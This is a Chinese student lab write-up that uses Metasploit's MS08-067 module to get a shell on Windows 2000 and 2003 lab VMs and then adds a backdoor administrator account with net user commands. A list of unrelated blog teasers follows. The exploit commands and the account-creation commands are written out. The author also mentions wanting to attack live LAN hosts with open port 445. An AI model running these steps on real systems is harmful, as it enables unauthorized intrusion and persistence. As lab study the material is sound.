这次实验的主角是素有“内网杀手”之称的metasploit。还是少说一些夸赞它的话(因为即使功能再强大,不明白它的原理,不会灵活使用它集成的功能,一样没有用),我们直入主题。简单说一下这次实验的目的:利用目标主机自身存在的内存溢出漏洞获取目标主机的执行权限。

metasploit的强大不光在于漏洞利用方面,还有就是在信息收集方面。关于扫描,这里不多说,大家可以参考Matasploit扫描漏洞方法

实验环境:

windows2000(靶机)、windows2003(靶机)、4.3.0-kali1-amd64(渗透机)

首先,我们还是先查看一下1号靶机的信息。一看到windows2000,还有点小兴奋,跟看到古董似的。



root@localhost:~# msfconsole进入metasploit终端界面,不得不说每次进入metasploit都会有不同的LOGO:



查看目标靶机是否可以ping通以及查看MS08-067漏洞是否适用于windows2000。

msf > ping 192.168.245.135
msf > info exploit/windows/smb/ms08_067_netapi





从上图,我们可以看出MS08-067漏洞的可用目标包含windows2000

接着利用该漏洞并加载相应的模块:

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
msf exploit(ms08_067_netapi) > set rhost 192.168.245.135
msf exploit(ms08_067_netapi) > exploit





果然是“古董”,比纸还脆,一碰就破。

其实最开始我选择的靶机并不是它,是自己之前学习时利用的一个操作系统——windows2003sp3。它没有打任何的补丁,也没有进行过任何的更新,可是它却异常地顽强,我几乎查阅了所有的资料,用了metasploit自带的所有windows漏洞都没能抓取到一个可用的session。后来,我返回去看它的镜像文件。

2003_万能?仔细回想,这个镜像文件是2014年我在雨林木风下载的,补丁早已更新至当月最新,所以很多已有的漏洞都不能用了。而我又不是那种轻易放弃的人,我想到了最近才出来的“永恒之蓝”漏洞,它也是利用445和339端口,所以打算更新metasploit及其数据库。但是并不能行,而后我又上网查资料如何利用“永恒之蓝”漏洞,发现必须去官方源下载wine。至此我终于放弃了,因为我太了解我们宿舍的网了(到现在我还木有实验室,只能在寝室),而且这一个实验已经拖了太久了,最后我还是选择了更换靶机,总的来说还是有些遗憾。

我们接着看对windows2003的渗透:

这是靶机信息:



我们仍然利用MS08-067漏洞:

msf exploit(ms08_067_netapi) > show options
msf exploit(ms08_067_netapi) > set rhost 192.168.245.136
msf exploit(ms08_067_netapi) > exploit





靶机就是靶机。

实验结束时,靶机也自动锁屏了,而且登录还要密码,而我并不知道密码。



索性就利用刚拿到的shell执行权限提权吧:

C:\WINDOWS\system32>net user admin admin /add        //新建用户admin 密码也是admin
C:\WINDOWS\system32>net localgroup Administrators admin /add //将admin用户添加到administrator组
C:\WINDOWS\system32>net user admin /active:yes



然后再登录:





好了,现在可以为所欲为了(假装这是得到的别人服务器)。

总结:

内存溢出漏洞的原理详见内存溢出漏洞的原理与防治。metasploit功能强大,这次实验只是看到了它的冰山一角,我相信外界对它的评价不是吹嘘出来的。尽管它的很多功能我还没接触到,但我已经有了挖掘它的兴趣。而且我肯定会完成对“永恒之蓝”漏洞的 利用,因为对局域网的扫描让我发现了很多主机的445和339仍然开启,而且我不相信它们都已经被打补丁。

【网络与系统安全】20179209 利用metasploit对windows系统的渗透的更多相关文章

  1. 利用Python进行windows系统上的图像识别与点击(Mac OS系统也可以)

    系统环境: 1.安装了python 2.安装了pyautogui模块 windows系统:无需安装依赖模块,在cmd中直接输入pip install pyautogui即可完成安装 Mac OS系统: ...

  2. 【转载】DOS 系统和 Windows 系统有什么关系?为什么windows系统下可以执行dos命令?

    作者:bombless 因为不同的系统都叫 Windows ,这些系统在界面上也有一定连续性并且因此可能造成误解,所以有必要稍微梳理一下几个不同的 Windows 系统.首先是 DOS 上的一个图形界 ...

  3. 在windows系统上安装VMware Workstation虚拟机,然后在虚拟机VMware Workstation上安装linux系统,在linux系统安装xshell的服务端,在windows系统上安装xshell。用windows系统上的xshell连接到linux

    第一步:安装xshell: 去百度   xshell ,然后安装一下就可以了.就是普通的软件安装,在这里不做过多的接收. 第二步:安装虚拟机VMware Workstation 百度安装,不做过介绍 ...

  4. 如何在Windows系统上用抓包软件Wireshark截获iPhone等网络通讯数据

    http://www.jb51.net/os/windows/189090.html 今天给大家介绍一种如何在Windows操作系统上使用著名的抓包工具软件Wireshark来截获iPhone.iPa ...

  5. 收集入侵Windows系统的证据

    随着网络的不断扩大,网络安全更加会成为人们的一个焦点,同时也成为是否能进一步投入到更深更广领域的一个基石.当然网络的安全也是一个动态的概念,世界上没有绝对安全的网络,只有相对安全的网络.相对安全环境的 ...

  6. Python 编程环境搭建(Windows 系统中)

    由于大家普遍使用 Windows 系统,所以本文只介绍 Windows 系统中 Python 环境的安装. 在 Windows 中安装 Python 与安装普通软件没什么差别,下载所需版本的安装包后, ...

  7. windows系统下c语言暂停程序

    原文:windows系统下c语言暂停程序 windows系统下,很多C语言初学者的调试时,往往没看到结果程序就退出了,据我所知的方法主要有以下几种 方法一: #include int main() { ...

  8. Windows系统架构

    操作系统模型   大多数操作系统中,都会把应用程序和内核代码分离运行在不同的模式下.内核模式访问系统数据和硬件,应用程序运行在没有特权的模式下(用户模式),只能使用有限的API,且不能直接访问硬件.当 ...

  9. linux系统和Windows系统共存

    最近接触了linux系统,因为对linux系统一直存在一种敬畏之心,所以决定研究研究 那么今天我在这里呢是要和大家分享一下在Windows存在的情况下安装双系统linux 那么第一步呢,就是斤BIOS ...

随机推荐

  1. Cat Snuke and a Voyage --AtCoder

    题目描述 In Takahashi Kingdom, there is an archipelago of N islands, called Takahashi Islands. For conve ...

  2. NULL和唯一约束UNIQUE的对应关系

    NULL和唯一约束UNIQUE的对应关系   在数据库中,NULL表示列值为空.唯一约束UNIQUE规定指定列的值必须是唯一的,值和值之间都不能相同.这个时候,就出现一个问题,NULL和NULL算是相 ...

  3. POJ 2057 The Lost House [树状DP]

    题意:一只蜗牛将壳忘在了一棵树的某一个末结点(叶子)上.它想找回自己的壳,但忘记是丢在哪个结点上了,只好从树根开始网上爬,一个结点一个结点地找.在一些结点上居住着毛毛虫,它们会告诉蜗牛该结点以及它的子 ...

  4. workflow engine Ruote 安装

    今天在安装gem安装Ruote的过程中遇到问题,改用bundle安装: steven@steven-Latitude-D630:/usr$ sudo mkdir bundel [sudo] passw ...

  5. 记录下我的阿里云centos服务器之路

    以下内容都已经过试验,边走边记,懒得排版 安装aphach yum install -y httpd systemctl start httpd netstat -tulp    安装桌面 尽量不用桌 ...

  6. MFC中 获取新输入编辑框的内容

    //得到原始内容的长度 int len = m_editPoemFileStr.GetLength(); UpdateData(true); //得到新增加的内容 CString  sNewStrin ...

  7. Win7如何获得TrustedInstaller权限

    将下面的信息保存为启用TakeOwnership.reg,双击注册即可   Windows Registry Editor Version 5.00   [HKEY_CLASSES_ROOT\*\sh ...

  8. 微信小程序 - 答题进度条

    关于进度条的话,我是使用官方原生的progress的. 关于进度progress接受保留2位小数(从后端获取到平均值,再item循环出来) js wxml

  9. 我用select做多路复用踩到的坑

    既然说是用select踩到的坑,那么就先直接贴一段使用select的代码上来瞅一下: bool SocketAction(int fd, const char* buf, size_t len, ui ...

  10. WPF 基础到企业应用系列5——WPF千年轮回 续前缘

    一.摘要 首先非常高兴这个系列能得到大家的关注和支持,前端时间身体状况不适,所以暂停了更新,对此表示非常抱歉,以后会逐渐加快进度.只是因为这是一个非常长的系列,我也想把它写好,所以以后也会慢慢来,在这 ...